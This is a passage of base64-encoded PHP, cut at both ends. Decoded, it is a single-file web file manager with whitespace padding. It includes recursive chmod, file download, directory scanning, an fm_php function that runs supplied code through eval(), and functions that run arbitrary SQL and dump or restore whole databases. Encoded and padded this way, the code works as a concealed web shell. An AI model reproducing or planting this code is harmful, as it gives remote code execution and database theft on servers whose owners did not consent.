0KCSR0cmFucyA9IGFycmF5KCctJz0+JzAnLCdyJz0+JzQnLCd3Jz0+JzInLCd4Jz0+JzEnKTsNCg0KCSRtb2RlID0gc3RydHIoJG1vZGUsJHRyYW5zKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICANCgkkbmV3bW9kZSA9ICcwJzsNCg0KCSRvd25lciA9IChpbnQpICRtb2RlWzBdICsgKGludCkgJG1vZGVbMV0gKyAoaW50KSAkbW9kZVsyXTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkkZ3JvdXAgPSAoaW50KSAkbW9kZVszXSArIChpbnQpICRtb2RlWzRdICsgKGludCkgJG1vZGVbNV07IA0KDQoJJHdvcmxkID0gKGludCkgJG1vZGVbNl0gKyAoaW50KSAkbW9kZVs3XSArIChpbnQpICRtb2RlWzhdOyANCg0KCSRuZXdtb2RlIC49ICRvd25lciAuICRncm91cCAuICR3b3JsZDsNCg0KCXJldHVybiBpbnR2YWwoJG5ld21vZGUsIDgpOw0KfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgDQpmdW5jdGlvbiBmbV9jaG1vZCgkZmlsZSwgJHZhbCwgJHJlYyA9IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSRyZXMgPSBAY2htb2QocmVhbHBhdGgoJGZpbGUpLCAkdmFsKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJaWYoQGlzX2RpcigkZmlsZSkgJiYgJHJlYyl7DQoJCSAgICAgICAgICRlbHMgPSBmbV9zY2FuX2RpcigkZmlsZSk7DQoJCSAgICAgICAgIGZvcmVhY2ggKCRlbHMgYXMgJGVsKSB7DQoJCSAgICAgICAgIAkkcmVzID0gJHJlcyAmJiBmbV9jaG1vZCgkZmlsZSAuICcvJyAuICRlbCwgJHZhbCwgdHJ1ZSk7DQoNCgkJICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCX0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCXJldHVybiAkcmVzOw0KDQp9DQoNCg0KDQovL2xvYWQgZmlsZVNldA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgDQpmdW5jdGlvbiBmbV9kb3dubG9hZCgkYXJjaGl2ZUZpbGVOYW1lKSB7DQoNCiAgICBpZiAoIWVtcHR5KCRhcmNoaXZlRmlsZU5hbWUpKSB7DQoNCgkJICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRhcmNoaXZlRmlsZU5hbWUpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAloZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIgLiBiYXNlbmFtZSgkYXJjaGl2ZUZpbGVOYW1lKSk7ICAgDQoNCgkJICAgICAgICAgCWhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9mb3JjZS1kb3dubG9hZCIpOw0KDQoJCSAgICAgICAgIAloZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7DQoNCgkJICAgICAgICAgCWhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9kb3dubG9hZCIpOw0KDQoJCSAgICAgICAgIAloZWFkZXIoIkNvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXIiKTsgICAgICAgICAgICANCg0KCQkgICAgICAgICAJaGVhZGVyKCJDb250ZW50LUxlbmd0aDogIiAuIGZpbGVTZXRpemUoJGFyY2hpdmVGaWxlTmFtZSkpOwkJICAgICAgICAgDQoNCgkJICAgICAgICAgCWZsdXNoKCk7IC8vIHRoaXMgZG9lc24ndCByZWFsbHkgbWF0dGVyLg0KCQkgICAgICAgICAJJGZwID0gZm9wZW4oJGFyY2hpdmVGaWxlTmFtZSwgInIiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCXdoaWxlICghZmVvZigkZnApKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAkJICAgICAgICAgZWNobyBmcmVhZCgkZnAsIDY1NTM2KTsNCg0KCQkgICAgICAgICAJCSAgICAgICAgIGZsdXNoKCk7IC8vIHRoaXMgaXMgZXNzZW50aWFsIGZvciBsYXJnZSBkb3dubG9hZHMNCg0KCQkgICAgICAgICAJfSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJZmNsb3NlKCRmcCk7DQoNCgkJICAgICAgICAgCWRpZSgpOw0KDQoJCSAgICAgICAgIH0gZWxzZSB7DQoNCgkJICAgICAgICAgCWhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcsIHRydWUsIDQwNCk7DQoNCgkJICAgICAgICAgCWhlYWRlcignU3RhdHVzOiA0MDQgTm90IEZvdW5kJyk7IA0KCQkgICAgICAgICAJZGllKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgIH0NCg0KICAgIH0gDQoNCn0NCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgIA0KLy8gRmlsZSBNYW5hZ2VyIGluIG11bHRpcyBjYXNpYnVzIGluY2x1ZGl0IGluc3RydW1lbnRhIGFkIGNvbXByZXNzaW9uZXMgZmFzY2ljdWxvcnVtDQpmdW5jdGlvbiBmbV9kaXJfc2l6ZSgkZiwkZm9ybWF0PXRydWUpIHsNCg0KCWlmKCRmb3JtYXQpICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgJHNpemU9Zm1fZGlyX3NpemUoJGYsZmFsc2UpOw0KCQkgICAgICAgICBpZigkc2l6ZTw9MTAyNCkgcmV0dXJuICRzaXplLicgYnl0ZXMnOw0KDQoJCSAgICAgICAgIGVsc2VpZigkc2l6ZTw9MTAyNCoxMDI0KSByZXR1cm4gcm91bmQoJHNpemUvKDEwMjQpLDIpLicmbmJzcDtLYic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICBlbHNlaWYoJHNpemU8PTEwMjQqMTAyNCoxMDI0KSByZXR1cm4gcm91bmQoJHNpemUvKDEwMjQqMTAyNCksMikuJyZuYnNwO01iJzsNCg0KCQkgICAgICAgICBlbHNlaWYoJHNpemU8PTEwMjQqMTAyNCoxMDI0KjEwMjQpIHJldHVybiByb3VuZCgkc2l6ZS8oMTAyNCoxMDI0KjEwMjQpLDIpLicmbmJzcDtHYic7DQoNCgkJICAgICAgICAgZWxzZWlmKCRzaXplPD0xMDI0KjEwMjQqMTAyNCoxMDI0KjEwMjQpIHJldHVybiByb3VuZCgkc2l6ZS8oMTAyNCoxMDI0KjEwMjQqMTAyNCksMikuJyZuYnNwO1RiJzsgLy86KSkpDQoJCSAgICAgICAgIGVsc2UgcmV0dXJuIHJvdW5kKCRzaXplLygxMDI0KjEwMjQqMTAyNCoxMDI0KjEwMjQpLDIpLicmbmJzcDtQYic7IC8vIDstKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgl9IGVsc2Ugew0KCQkgICAgICAgICBpZihpc19maWxlKCRmKSkgcmV0dXJuIGZpbGVTZXRpemUoJGYpOw0KDQoJCSAgICAgICAgICRzaXplPTA7DQoNCgkJICAgICAgICAgJGRoPW9wZW5kaXIoJGYpOw0KDQoJCSAgICAgICAgIHdoaWxlKCgkZmlsZT1yZWFkZGlyKCRkaCkpIT09ZmFsc2UpIHsNCg0KCQkgICAgICAgICAJaWYoJGZpbGU9PScuJyB8fCAkZmlsZT09Jy4uJykgY29udGludWU7DQoJCSAgICAgICAgIAlpZihpc19maWxlKCRmLicvJy4kZmlsZSkpICRzaXplKz1maWxlU2V0aXplKCRmLicvJy4kZmlsZSk7DQoNCgkJICAgICAgICAgCWVsc2UgJHNpemUrPWZtX2Rpcl9zaXplKCRmLicvJy4kZmlsZSxmYWxzZSk7DQoNCgkJICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICBjbG9zZWRpcigkZGgpOw0KCQkgICAgICAgICByZXR1cm4gJHNpemUrZmlsZVNldGl6ZSgkZik7IA0KDQoJfQ0KDQp9DQoNCg0KDQovL3NjYW4gZGlyZWN0b3J5DQoNCmZ1bmN0aW9uIGZtX3NjYW5fZGlyKCRkaXJlY3RvcnksICRleHAgPSAnJywgJHR5cGUgPSAnYWxsJywgJGRvX25vdF9maWx0ZXIgPSBmYWxzZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkkZGlyID0gJG5kaXIgPSBhcnJheSgpOw0KDQoJaWYoIWVtcHR5KCRleHApKXsNCg0KCQkgICAgICAgICAkZXhwID0gJy9eJyAuIHN0cl9yZXBsYWNlKCcqJywgJyguKiknLCBzdHJfcmVwbGFjZSgnLicsICdcXC4nLCAkZXhwKSkgLiAnJC8nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJfQ0KCWlmKCFlbXB0eSgkdHlwZSkgJiYgJHR5cGUgIT09ICdhbGwnKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgJGZ1bmMgPSAnaXNfJyAuICR0eXBlOw0KCX0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJaWYoQGlzX2RpcigkZGlyZWN0b3J5KSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAkZmggPSBvcGVuZGlyKCRkaXJlY3RvcnkpOw0KDQoJCSAgICAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlbmFtZSA9IHJlYWRkaXIoJGZoKSkpIHsNCgkJICAgICAgICAgCWlmKHN1YnN0cigkZmlsZW5hbWUsIDAsIDEpICE9ICcuJyB8fCAkZG9fbm90X2ZpbHRlcikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCQkgICAgICAgICBpZigoZW1wdHkoJHR5cGUpIHx8ICR0eXBlID09ICdhbGwnIHx8ICRmdW5jKCRkaXJlY3RvcnkgLiAnLycgLiAkZmlsZW5hbWUpKSAmJiAoZW1wdHkoJGV4cCkgfHwgcHJlZ19tYXRjaCgkZXhwLCAkZmlsZW5hbWUpKSl7DQoNCgkJICAgICAgICAgCQkgICAgICAgICAJJGRpcltdID0gJGZpbGVuYW1lOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCQkgICAgICAgICB9DQoNCgkJICAgICAgICAgCX0NCgkJICAgICAgICAgfQ0KCQkgICAgICAgICBjbG9zZWRpcigkZmgpOw0KCQkgICAgICAgICBuYXRzb3J0KCRkaXIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgIA0KCX0NCglyZXR1cm4gJGRpcjsNCg0KfQ0KDQoNCmZ1bmN0aW9uIGZtX2xpbmsoJGdldCwkbGluaywkbmFtZSwkdGl0bGU9JycpIHsNCg0KCWlmIChlbXB0eSgkdGl0bGUpKSAkdGl0bGU9JG5hbWUuJyAnLmJhc2VuYW1lKCRsaW5rKTsNCglyZXR1cm4gJyZuYnNwOyZuYnNwOzxhIGhyZWY9Ij8nLiRnZXQuJz0nLmJhc2U2NF9lbmNvZGUoJGxpbmspLiciIHRpdGxlPSInLiR0aXRsZS4nIj4nLiRuYW1lLic8L2E+JzsNCg0KfQ0KDQpmdW5jdGlvbiBmbV9hcnJfdG9fb3B0aW9uKCRhcnIsJG4sJHNlbD0nJyl7DQogICAgICAgICAgICAgICAgICAgICAgICAgDQoJZm9yZWFjaCgkYXJyIGFzICR2KXsNCgkJICAgICAgICAgJGI9JHZbJG5dOw0KDQoJCSAgICAgICAgICRyZXMuPSc8b3B0aW9uIHZhbHVlPSInLiRiLiciICcuKCRzZWwgJiYgJHNlbD09JGI/J3NlbGVjdGVkJzonJykuJz4nLiRiLic8L29wdGlvbj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgIA0KCX0NCg0KCXJldHVybiAkcmVzOw0KDQp9DQoNCg0KZnVuY3Rpb24gZm1fbGFuZ19mb3JtICgkY3VycmVudD0nZW4nKXsNCg0KcmV0dXJuICcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjxmb3JtIG5hbWU9ImNoYW5nZV9sYW5nIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4NCg0KCTxzZWxlY3QgbmFtZT0iZm1fbGFuZyIgdGl0bGU9IicuX18oJ0xhbmd1YWdlJykuJyIgb25jaGFuZ2U9ImRvY3VtZW50LmZvcm1zW1wnY2hhbmdlX2xhbmdcJ10uc3VibWl0KCkiID4NCgkJICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iZW4iICcuKCRjdXJyZW50PT0nZW4nPydzZWxlY3RlZD0ic2VsZWN0ZWQiICc6JycpLic+Jy5fXygnRW5nbGlzaCcpLic8L29wdGlvbj4NCgkJICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iZGUiICcuKCRjdXJyZW50PT0nZGUnPydzZWxlY3RlZD0ic2VsZWN0ZWQiICc6JycpLic+Jy5fXygnR2VybWFuJykuJzwvb3B0aW9uPg0KCQkgICAgICAgICA8b3B0aW9uIHZhbHVlPSJydSIgJy4oJGN1cnJlbnQ9PSdydSc/J3NlbGVjdGVkPSJzZWxlY3RlZCIgJzonJykuJz4nLl9fKCdSdXNzaWFuJykuJzwvb3B0aW9uPg0KDQoJCSAgICAgICAgIDxvcHRpb24gdmFsdWU9ImZyIiAnLigkY3VycmVudD09J2ZyJz8nc2VsZWN0ZWQ9InNlbGVjdGVkIiAnOicnKS4nPicuX18oJ0ZyZW5jaCcpLic8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgPG9wdGlvbiB2YWx1ZT0idWsiICcuKCRjdXJyZW50PT0ndWsnPydzZWxlY3RlZD0ic2VsZWN0ZWQiICc6JycpLic+Jy5fXygnVWtyYWluaWFuJykuJzwvb3B0aW9uPg0KDQoJPC9zZWxlY3Q+DQo8L2Zvcm0+DQoNCic7DQoNCn0NCg0KCQ0KZnVuY3Rpb24gZm1fcm9vdCgkZGlybmFtZSl7DQoNCglyZXR1cm4gKCRkaXJuYW1lPT0nLicgT1IgJGRpcm5hbWU9PScuLicpOw0KfQ0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KZnVuY3Rpb24gZm1fcGhwKCRzdHJpbmcpew0KCSRkaXNwbGF5X2Vycm9yTGlzdD1pbmlfZ2V0KCdkaXNwbGF5X2Vycm9yTGlzdCcpOw0KDQoJaW5pX3NldCgnZGlzcGxheV9lcnJvckxpc3QnLCAnMScpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCglvYl9zdGFydCgpOw0KCWV2YWwodHJpbSgkc3RyaW5nKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICANCgkkdGV4dCA9IG9iX2dldF9jb250ZW50cygpOw0KDQoJb2JfZW5kX2NsZWFuKCk7DQoNCglpbmlfc2V0KCdkaXNwbGF5X2Vycm9yTGlzdCcsICRkaXNwbGF5X2Vycm9yTGlzdCk7DQoJcmV0dXJuICR0ZXh0Ow0KDQp9DQoNCg0KLy9TSE9XIERBVEFCQVNFUw0KDQpmdW5jdGlvbiBmbV9zcWxfY29ubmVjdCgpew0KDQoJZ2xvYmFsICRmbXNfY29uZmlnOw0KDQoJcmV0dXJuIG5ldyBteXNxbGkoJGZtc19jb25maWdbJ3NxbF9zZXJ2ZXInXSwgJGZtc19jb25maWdbJ3NxbF91c2VybmFtZSddLCAkZm1zX2NvbmZpZ1snc3FsX3Bhc3N3b3JkJ10sICRmbXNfY29uZmlnWydzcWxfZGInXSk7DQoNCn0NCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQpmdW5jdGlvbiBmbV9zcWwoJHF1ZXJ5KXsNCglnbG9iYWwgJGZtc19jb25maWc7DQoNCgkkcXVlcnk9dHJpbSgkcXVlcnkpOw0KDQoJb2Jfc3RhcnQoKTsNCg0KCSRjb25uZWN0aW9uID0gZm1fc3FsX2Nvbm5lY3QoKTsNCg0KCWlmICgkY29ubmVjdGlvbi0+Y29ubmVjdF9lcnJvcikgew0KDQoJCSAgICAgICAgIG9iX2VuZF9jbGVhbigpOwkNCgkJICAgICAgICAgcmV0dXJuICRjb25uZWN0aW9uLT5jb25uZWN0X2Vycm9yOw0KCX0NCg0KCSRjb25uZWN0aW9uLT5zZXRfY2hhcnNldCgndXRmOCcpOw0KDQogICAgJHF1ZXJpZWQgPSBteXNxbGlfcXVlcnkoJGNvbm5lY3Rpb24sJHF1ZXJ5KTsNCg0KCWlmICgkcXVlcmllZD09PWZhbHNlKSB7DQoNCgkJICAgICAgICAgb2JfZW5kX2NsZWFuKCk7CQ0KDQoJCSAgICAgICAgIHJldHVybiBteXNxbGlfZXJyb3IoJGNvbm5lY3Rpb24pOw0KDQogICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICBpZighZW1wdHkoJHF1ZXJpZWQpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCXdoaWxlKCRyb3cgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJHF1ZXJpZWQpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAkJICAgICAgICAgJHF1ZXJ5X3Jlc3VsdFtdPSAgJHJvdzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJfQ0KDQoJCSAgICAgICAgIH0NCg0KCQkgICAgICAgICAkdmR1bXA9ZW1wdHkoJHF1ZXJ5X3Jlc3VsdCk/Jyc6dmFyX2V4cG9ydCgkcXVlcnlfcmVzdWx0LHRydWUpOwkNCg0KCQkgICAgICAgICBvYl9lbmRfY2xlYW4oKTsJDQoNCgkJICAgICAgICAgJGNvbm5lY3Rpb24tPmNsb3NlKCk7DQoJCSAgICAgICAgIHJldHVybiAnPHByZT4nLnN0cmlwc2xhc2hlcygkdmR1bXApLic8L3ByZT4nOw0KCX0NCg0KfQ0KDQoNCg0KZnVuY3Rpb24gZm1fYmFja3VwX3RhYmxlcygkdGFibGVzID0gJyonLCAkZnVsbF9iYWNrdXAgPSB0cnVlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCglnbG9iYWwgJHBhdGg7DQoJJG15c3FsZGIgPSBmbV9zcWxfY29ubmVjdCgpOw0KDQoJJGRlbGltaXRlciA9ICI7IFxuICBcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJaWYoJHRhYmxlcyA9PSAnKicpCXsNCg0KCQkgICAgICAgICAkdGFibGVzID0gYXJyYXkoKTsNCg0KCQkgICAgICAgICAkcmVzdWx0ID0gJG15c3FsZGItPnF1ZXJ5KCdTSE9XIFRBQkxFUycpOw0KCQkgICAgICAgICB3aGlsZSgkcm93ID0gbXlzcWxpX2ZldGNoX3JvdygkcmVzdWx0KSkJew0KCQkgICAgICAgICAJJHRhYmxlc1tdID0gJHJvd1swXTsNCg0KCQkgICAgICAgICB9DQoNCgl9IGVsc2Ugew0KDQoJCSAgICAgICAgICR0YWJsZXMgPSBpc19hcnJheSgkdGFibGVzKSA/ICR0YWJsZXMgOiBleHBsb2RlKCcsJywkdGFibGVzKTsNCgl9DQoNCiAgICANCg0KCSRyZXR1cm49Jyc7DQoNCglmb3JlYWNoKCR0YWJsZXMgYXMgJHRhYmxlKQl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgICRyZXN1bHQgPSAkbXlzcWxkYi0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpOw0KCQkgICAgICAgICAkbnVtX2ZpZWxkcyA9IG15c3FsaV9udW1fZmllbGRzKCRyZXN1bHQpOw0KCQkgICAgICAgICAkcmV0dXJuLj0gJ0RST1AgVEFCTEUgSUYgRVhJU1RTIGAnLiR0YWJsZS4nYCcuJGRlbGltaXRlcjsNCgkJICAgICAgICAgJHJvdzIgPSBteXNxbGlfZmV0Y2hfcm93KCRteXNxbGRiLT5xdWVyeSgnU0hPVyBDUkVBVEUgVEFCTEUgJy4kdGFibGUpKTsNCg0KCQkgICAgICAgICAkcmV0dXJuLj0kcm93MlsxXS4kZGVsaW1pdGVyOw0KDQogICAgICAgIGlmICgkZnVsbF9iYWNrdXApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRudW1fZmllbGRzOyAkaSsrKSAgew0KDQoJCSAgICAgICAgIAl3aGlsZSgkcm93ID0gbXlzcWxpX2ZldGNoX3JvdygkcmVzdWx0KSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAkJICAgICAgICAgJHJldHVybi49ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgVkFMVUVTKCc7DQoNCgkJICAgICAgICAgCQkgICAgICAgICBmb3IoJGo9MDsgJGo8JG51bV9maWVsZHM7ICRqKyspCXsNCg0KCQkgICAgICAgICAJCSAgICAgICAgIAkkcm93WyRqXSA9IGFkZHNsYXNoZXMoJHJvd1skal0pOw0KCQkgICAgICAgICAJCSAgICAgICAgIAkkcm93WyRqXSA9IHN0cl9yZXBsYWNlKCJcbiIsIlxcbiIsJHJvd1skal0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCQkgICAgICAgICAJaWYgKGlzc2V0KCRyb3dbJGpdKSkgeyAkcmV0dXJuLj0gJyInLiRyb3dbJGpdLiciJyA7IH0gZWxzZSB7ICRyZXR1cm4uPSAnIiInOyB9DQoJCSAgICAgICAgIAkJICAgICAgICAgCWlmICgkajwoJG51bV9maWVsZHMtMSkpIHsgJHJldHVybi49ICcsJzsgfQ0KDQoJCSAgICAgICAgIAkJICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJCSAgICAgICAgICRyZXR1cm4uPSAnKScuJGRlbGltaXRlcjsNCgkJICAgICAgICAgCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAgIH0NCg0KCQkgICAgICAgICB9IGVsc2UgeyANCg0KCQkgICAgICAgICAkcmV0dXJuID0gcHJlZ19yZXBsYWNlKCIjQVVUT19JTkNSRU1FTlQ9W1xkXSsgI2lzIiwgJycsICRyZXR1cm4pOw0KCQkgICAgICAgICB9DQoJCSAgICAgICAgICRyZXR1cm4uPSJcblxuXG4iOw0KCX0NCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJLy9zYXZlIGZpbGUNCg0KICAgICRmaWxlPWdtZGF0ZSgiWS1tLWRfSC1pLXMiLHRpbWUoKSkuJy5zcWwnOw0KDQoJJGhhbmRsZSA9IGZvcGVuKCRmaWxlLCd3KycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgDQoJZndyaXRlKCRoYW5kbGUsJHJldHVybik7DQoJZmNsb3NlKCRoYW5kbGUpOw0KDQoJJGFsZXJ0ID0gJ29uQ2xpY2s9ImlmKGNvbmZpcm0oXCcnLiBfXygnRmlsZSBzZWxlY3RlZCcpLic6IFxuJy4gJGZpbGUuICcuIFxuJy5fXygnQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzIGZpbGU/JykgLiAnXCcpKSBkb2N1bWVudC5sb2NhdGlvbi5ocmVmID0gXCc/ZGVsZXRlPScgLiAkZmlsZSAuICcmcGF0aD0nIC4gJHBhdGggIC4gJ1wnIic7DQoNCiAgICByZXR1cm4gJGZpbGUuJzogJy5mbV9saW5rKCdkb3dubG9hZCcsJHBhdGguJGZpbGUsX18oJ0Rvd25sb2FkJyksX18oJ0Rvd25sb2FkJykuJyAnLiRmaWxlKS4nIDxhIGhyZWY9IiMiIHRpdGxlPSInIC4gX18oJ0RlbGV0ZScpIC4gJyAnLiAkZmlsZSAuICciICcgLiAkYWxlcnQgLiAnPicgLiBfXygnRGVsZXRlJykgLiAnPC9hPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCn0NCg0KDQpmdW5jdGlvbiBmbV9yZXN0b3JlX3RhYmxlcygkc3FsRmlsZVRvRXhlY3V0ZSkgew0KDQoJJG15c3FsZGIgPSBmbV9zcWxfY29ubmVjdCgpOw0KDQoJJGRlbGltaXRlciA9ICI7IFxuICBcbiI7DQoNCiAgICAvLyBMb2FkIGFuZCBleHBsb2RlIHRoZSBzcWwgZmlsZQ0KICAgICRmID0gZm9wZW4oJHNxbEZpbGVUb0V4ZWN1dGUsInIrIik7DQoNCiAgICAkc3FsRmlsZSA9IGZyZWFkKCRmLGZpbGVTZXRpemUoJHNxbEZpbGVUb0V4ZWN1dGUpKTsNCiAgICAkc3FsQXJyYXkgPSBleHBsb2RlKCRkZWxpbWl0ZXIsJHNxbEZpbGUpOw0KDQoJDQogICAgLy9Qcm9jZXNzIHRoZSBzcWwgZmlsZSBieSBzdGF0ZW1lbnRzDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgZm9yZWFjaCAoJHNxbEFycmF5IGFzICRzdG10KSB7DQoNCiAgICAgICAgaWYgKHN0cmxlbigkc3RtdCk+Myl7DQoNCgkJICAgICAgICAgCSRyZXN1bHQgPSAkbXlzcWxkYi0+cXVlcnkoJHN0bXQpOw0KDQoJCSAgICAgICAgIAkJICAgICAgICAgaWYgKCEkcmVzdWx0KXsNCg0KCQkgICAgICAgICAJCSAgICAgICAgIAkkc3FsRXJyb3JDb2RlID0gbXlzcWxpX2Vycm5vKCRteXNxbGRiLT5jb25uZWN0aW9uKTsNCg0KCQkgICAgICAgICAJCSAgICAgICAgIAkkc3FsRXJyb3JUZXh0ID0gbXlzcWxpX2Vycm9yKCRteXNxbGRiLT5jb25uZWN0aW9uKTsNCgkJICAgICAgICAgCQkgICAgICAgICAJJHNxbFN0bXQgICAgICA9ICRzdG10Ow0KDQoJCSAgICAgICAgIAkJICAgICAgICAgCWJyZWFrOw0KDQogICAgICAgICAgIAkgICAgIH0NCg0KICAgICAgICAgICAJICB9DQogICAgICAgICAgIH0NCmlmIChlbXB0eSgkc3FsRXJyb3JDb2RlKSkgcmV0dXJuIF9fKCdTdWNjZXNzJykuJyA/PyAnLiRzcWxGaWxlVG9FeGVjdXRlOw0KZWxzZSByZXR1cm4gJHNxbEVycm9yVGV4dC4nPGJyLz4nLiRzdG10Ow0KfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQpmdW5jdGlvbiBmbV9pbWdfbGluaygkZmlsZW5hbWUpew0KCXJldHVybiAnLi8nLmJhc2VuYW1lKF9fRklMRV9fKS4nP2ltZz0nLmJhc2U2NF9lbmNvZGUoJGZpbGVuYW1lKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQp9DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCmZ1bmN0aW9uIGZtX2hvbWVfc3R5bGUoKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICANCglyZXR1cm4gJw0KDQppbnB1dCwgaW5wdXQuZm1faW5wdXQgew0KCXRleHQtaW5kZW50OiAycHg7DQp9DQogICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQogICAgICAgICAgICAgICAgICAgICAgICAgIA0KaW5wdXQsIHRleHRhcmVhLCBzZWxlY3QsIGlucHV0LmZtX2lucHV0IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgljb2xvcjogYmxhY2s7DQoJZm9udDogbm9ybWFsIDhwdCBWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmOw0KDQoJYm9yZGVyLWNvbG9yOiBibGFjazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCWJhY2tncm91bmQtY29sb3I6ICNGQ0ZDRkMgbm9uZSAhaW1wb3J0YW50Ow0KDQoJYm9yZGVyLXJhZGl1czogMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCXBhZGRpbmc6IDJweDsNCg0KfQ0KDQoNCg0KaW5wdXQuZm1faW5wdXQgew0KDQoJYmFja2dyb3VuZDogI0ZDRkNGQyBub25lICFpbXBvcnRhbnQ7DQoNCgljdXJzb3I6IHBvaW50ZXI7DQoNCn0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoNCg0KLmhvbWUgew0KICAgICAgICAgICAgICAgICAgICAgICAgDQoJYmFja2dyb3VuZC1pbWFnZTogdXJsKCJkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQU1BQUFBb0xROVRBQUFBQkdkQlRVRUFBSy9JTndXSzZRQUFBZ1JRVEZSRi9mMzk2T2pvLy8vL3RUMDJ6citmdzY2UnRqNDMyVEVwM01YRTJEQXIzVFlwMXk0bXREdzIvN0JNLzdCT3FWcGMvOGwzMWpjcXE2ZW53Y0hCMlRnaTVqZ3FWcGJ